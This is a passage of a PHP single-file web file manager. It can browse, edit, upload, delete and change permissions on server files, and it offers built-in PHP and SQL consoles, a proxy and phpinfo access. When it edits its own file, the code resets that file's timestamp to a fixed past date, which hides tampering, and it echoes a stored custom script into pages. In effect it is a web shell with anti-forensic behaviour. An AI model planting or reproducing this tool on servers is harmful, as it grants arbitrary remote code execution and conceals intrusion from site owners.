vNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
